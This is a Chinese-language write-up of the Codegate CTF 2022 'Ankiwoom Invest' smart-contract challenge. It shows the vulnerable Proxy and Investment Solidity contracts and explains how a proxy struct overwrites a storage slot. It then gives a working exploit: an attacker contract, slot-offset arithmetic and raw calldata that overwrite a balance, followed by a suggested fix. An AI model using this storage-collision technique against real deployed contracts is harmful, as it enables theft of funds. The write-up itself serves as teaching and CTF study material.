Codegate CTF 2022 Ankiwoom Invest

Codegate CTF 2022 Ankiwoom Invest

​ 关于这个挑战的Write up!

Code

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
Proxy.sol
// SPDX-License-Identifier: MIT

pragma solidity 0.8.11;


contract Proxy {
address implementation;
address owner;

struct log {
bytes12 time;
address sender;
}
log info;

constructor(address _target) {
owner = msg.sender;
implementation = _target;
}

function setImplementation(address _target) public {
require(msg.sender == owner);
implementation = _target;
}

function _delegate(address _target) internal {
assembly {
calldatacopy(0, 0, calldatasize())

let result := delegatecall(gas(), _target, 0, calldatasize(), 0, 0)

returndatacopy(0, 0, returndatasize())

switch result
case 0 {
revert(0, returndatasize())
}
default {
return(0, returndatasize())
}
}
}

function _implementation() internal view returns (address) {
return implementation;
}

function _fallback() internal {
_beforeFallback();
_delegate(_implementation());
}

fallback() external payable {
_fallback();
}

receive() external payable {
_fallback();
}

function _beforeFallback() internal {
info.time = bytes12(uint96(block.timestamp));
info.sender = msg.sender;
}
}

Investment.sol
// SPDX-License-Identifier: MIT

pragma solidity 0.8.11;

import "OpenZeppelin/openzeppelin-contracts@4.4.2/contracts/utils/math/SafeMath.sol";

contract Investment {
address private implementation;
address private owner;
address[] public donaters;

using SafeMath for uint;

mapping (address => bool) private _minted;
mapping (bytes32 => uint) private _total_stocks;
mapping (bytes32 => uint) private _reg_stocks;
mapping (address => mapping (bytes32 => uint)) private _stocks;
mapping (address => uint) private _balances;

address lastDonater;
uint fee;
uint denominator;
bool inited;

event solved(address);

modifier isInited {
require(inited);
_;
}

function init() public {
require(!inited);

_reg_stocks[keccak256("apple")] = 111;
_total_stocks[keccak256("apple")] = 99999999;
_reg_stocks[keccak256("microsoft")] = 101;
_total_stocks[keccak256("microsoft")] = 99999999;
_reg_stocks[keccak256("intel")] = 97;
_total_stocks[keccak256("intel")] = 99999999;
_reg_stocks[keccak256("amd")] = 74;
_total_stocks[keccak256("amd")] = 99999999;
_reg_stocks[keccak256("codegate")] = 11111111111111111111111111111111111111;
_total_stocks[keccak256("codegate")] = 1;
fee = 5;
denominator = 1e4;
inited = true;
}

function buyStock(string memory _stockName, uint _amountOfStock) public isInited {
bytes32 stockName = keccak256(abi.encodePacked(_stockName));
require(_total_stocks[stockName] > 0 && _amountOfStock > 0);
uint amount = _reg_stocks[stockName].mul(_amountOfStock).mul(denominator + fee).div(denominator);
require(_balances[msg.sender] >= amount);

_balances[msg.sender] -= amount;
_stocks[msg.sender][stockName] += _amountOfStock;
_total_stocks[stockName] -= _amountOfStock;
}

function sellStock(string memory _stockName, uint _amountOfStock) public isInited {
bytes32 stockName = keccak256(abi.encodePacked(_stockName));
require(_amountOfStock > 0);
uint amount = _reg_stocks[stockName].mul(_amountOfStock).mul(denominator).div(denominator + fee);
require(_stocks[msg.sender][stockName] >= _amountOfStock);
_balances[msg.sender] += amount;
_stocks[msg.sender][stockName] -= _amountOfStock;
_total_stocks[stockName] += _amountOfStock;
}

function donateStock(address _to, string memory _stockName, uint _amountOfStock) public isInited {
bytes32 stockName = keccak256(abi.encodePacked(_stockName));
require(_amountOfStock > 0);
require(isUser(msg.sender) && _stocks[msg.sender][stockName] >= _amountOfStock);
_stocks[msg.sender][stockName] -= _amountOfStock;
(bool success, bytes memory result) = msg.sender.call(abi.encodeWithSignature("receiveStock(address,bytes32,uint256)", _to, stockName, _amountOfStock));
require(success);
lastDonater = msg.sender;
donaters.push(lastDonater);
}

function isInvalidDonaters(uint index) internal returns (bool) {
require(donaters.length > index);
if (!isUser(lastDonater)) {
return true;
}
else {
return false;
}
}

function modifyDonater(uint index) public isInited {
require(isInvalidDonaters(index));
donaters[index] = msg.sender;
}

function isUser(address _user) internal returns (bool) {
uint size;
assembly {
size := extcodesize(_user)
}
return size == 0;
}

function mint() public isInited {
require(!_minted[msg.sender]);
_balances[msg.sender] = 300;
_minted[msg.sender] = true;
}

function isSolved() public isInited {
if (_total_stocks[keccak256("codegate")] == 0) {
emit solved(msg.sender);
address payable addr = payable(address(0));
selfdestruct(addr);
}
}
}

Analyze

1
2
3
4
5
6
7
function isSolved() public isInited {
if (_total_stocks[keccak256("codegate")] == 0) {
emit solved(msg.sender);
address payable addr = payable(address(0));
selfdestruct(addr);
}
}

要实现 emit solved(msg.sender),需要_total_stocks[keccak256(“codegate”)] == 0,进一步分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
function init() public {
...
_reg_stocks[keccak256("codegate")] = 11111111111111111111111111111111111111;
_total_stocks[keccak256("codegate")] = 1;
...
}
function buyStock(string memory _stockName, uint _amountOfStock) public isInited {
...
_balances[msg.sender] -= amount;
_stocks[msg.sender][stockName] += _amountOfStock;
_total_stocks[stockName] -= _amountOfStock;
}
function mint() public isInited {
require(!_minted[msg.sender]);
_balances[msg.sender] = 300;
_minted[msg.sender] = true;
}

显然我们需要购买一个codegate-Stock,但是我们刚开始仅能得到很少的_balances,这很难支持我们购买!所以我们需要寻找一个能够使得我们的_balances增大的漏洞。

通过对investment合约源代码的审计,我们排除了整数加减法溢出,持续buysell套利的漏洞。

存在一处乘法溢出的风险,但是很可惜没有办法利用。

image-20220228220131791

链接

存在一处变量覆盖的风险,但是会进行长度检查,无法越界进行覆盖。

1
2
3
4
5
6
7
8
9
10
11
12
13
		function modifyDonater(uint index) public isInited {
require(isInvalidDonaters(index));
donaters[index] = msg.sender;
}
function isInvalidDonaters(uint index) internal returns (bool) {
require(donaters.length > index);
if (!isUser(lastDonater)) {
return true;
}
else {
return false;
}
}

在这样看来,似乎investment无懈可击。

Proxy

继续对Proxy合约审计,发现下面的代码,让我们解析一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
function _delegate(address _target) internal {
assembly {
calldatacopy(0, 0, calldatasize())

let result := delegatecall(gas(), _target, 0, calldatasize(), 0, 0)

returndatacopy(0, 0, returndatasize())

switch result
case 0 {
revert(0, returndatasize())
}
default {
return(0, returndatasize())
}
}
}

先来看这几个汇编指令的含义

Hex Name Gas Stack Mem / Storage Notes
36 CALLDATASIZE 2 . => len(msg.data) length of msg data, in bytes
37 CALLDATACOPY A3 dstOst, ost, len => . mem[dstOst:dstOst+len] := msg.data[ost:ost+len copy msg data
38 CODESIZE 2 . => len(this.code) length of executing contract’s code, in bytes
3D RETURNDATASIZE 2 . => size size of returned data from last external call, in bytes
3E RETURNDATACOPY A3 dstOst, ost, len => . mem[dstOst:dstOst+len] := returndata[ost:ost+len] copy returned data from last external call
5A GAS 2 . => gasRemaining
F4 DELEGATECALL AA gas, addr, argOst, argLen, retOst, retLen => success mem[retOst:retOst+retLen] := returndata

重点在于delegatecall

  • 函数设计的目的是为了使用给定地址的代码,其他信息则使用当前合约(存储)
  • 某种程度上也是为了代码的复用

而此时_target对应于investment合约的地址,也就是说我们可以将investment合约的任意函数转移到Proxy合约上执行。

同时发现一处storage未初始化的问题,详细

1
2
3
4
5
6
7
8
9
struct log {
bytes12 time;
address sender;
}
log info;
function _beforeFallback() internal {
info.time = bytes12(uint96(block.timestamp));
info.sender = msg.sender;
}

log结构体对应的大小刚好是byte32,且位于slot 2

在Investment合约中,donaters数组的长度恰好也位于slot2

也就是说我们可以通过覆盖长度,实现越界访问,结合上面提到的变量覆盖,就可以在特定位置覆盖我们的_balances

Attack

Init

我们需要进行初始化,因为需要通过isInited关键词修饰

image-20220311110545430

image-20220311110640819

可以看见donaters数组长度的位置被覆盖,此时的长度非常大了。

Mint

image-20220311111014901

image-20220311111442848

此时存储balance[EOA]的位置在slot

0xad0f00e11a82c9e4c6bf0ad52e498f98562d86ac4ff95e82c6ecf0258d19cc74

DonateStock

绕过!isUser限制

1
2
3
4
5
6
7
8
9
10
11
12
13
contract attack{

Investment claim;
constructor(){
string memory apple="apple";
claim=Investment(0xE65717788EA5520888F724819E8Fb092930bB05D);
claim.mint();

claim.buyStock(apple,2);
claim.donateStock(0x8Ef65AC72069051De8028244DCB33251f31Cf545, apple,2);
}

}

lastDonater

image-20220311112601057

ModifyDonater

donaters[0]的slot计算参考

1
2
3
4
5
6
7
8
import sha3
import binascii
def byte32(i):
return binascii.unhexlify('%064x'%i)


print(sha3.keccak_256(byte32(2)).hexdigest())
# 0x405787fa12a823e0f2b7631cc41b3ba8828b3321ca811111fa75cd3aa3bb5ace

计算相对位置

1
2
print(hex(0xad0f00e11a82c9e4c6bf0ad52e498f98562d86ac4ff95e82c6ecf0258d19cc74-0x405787fa12a823e0f2b7631cc41b3ba8828b3321ca811111fa75cd3aa3bb5ace))
# 0x6cb778e707daa603d407a7b86a2e53efd3a2538a85784d70cc7722eae95e71a6

calldata=0x9bceca6c+6cb778e707daa603d407a7b86a2e53efd3a2538a85784d70cc7722eae95e71a6

成功覆盖余额

image-20220311114835611

BuyStack & isSolved

calldata=0x705c0f4f000000000000000000000000000000000000000000000000000000000000004000000000000000000000000000000000000000000000000000000000000000010000000000000000000000000000000000000000000000000000000000000008636f646567617465000000000000000000000000000000000000000000000000

image-20220311115252476

calldata=0x64d98f6e

image-20220311115334188

Summary

这个漏洞的本质在于对Log结构的非显式初始化所带来的变量覆盖问题,修复方案是将声明的 struct 进行赋值初始化,通过创建一个新的临时 memory 结构体,然后将它拷贝到 storage 中

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
pragma solidity ^0.8.0;
contract Contract{

address implementation;
address owner;

struct log {
bytes12 time;
address sender;
}

mapping (uint => log) Logs;

function test() public{
log storage info = Logs[_id];
info.time = bytes12(uint96(block.timestamp));
info.sender = msg.sender;

}
}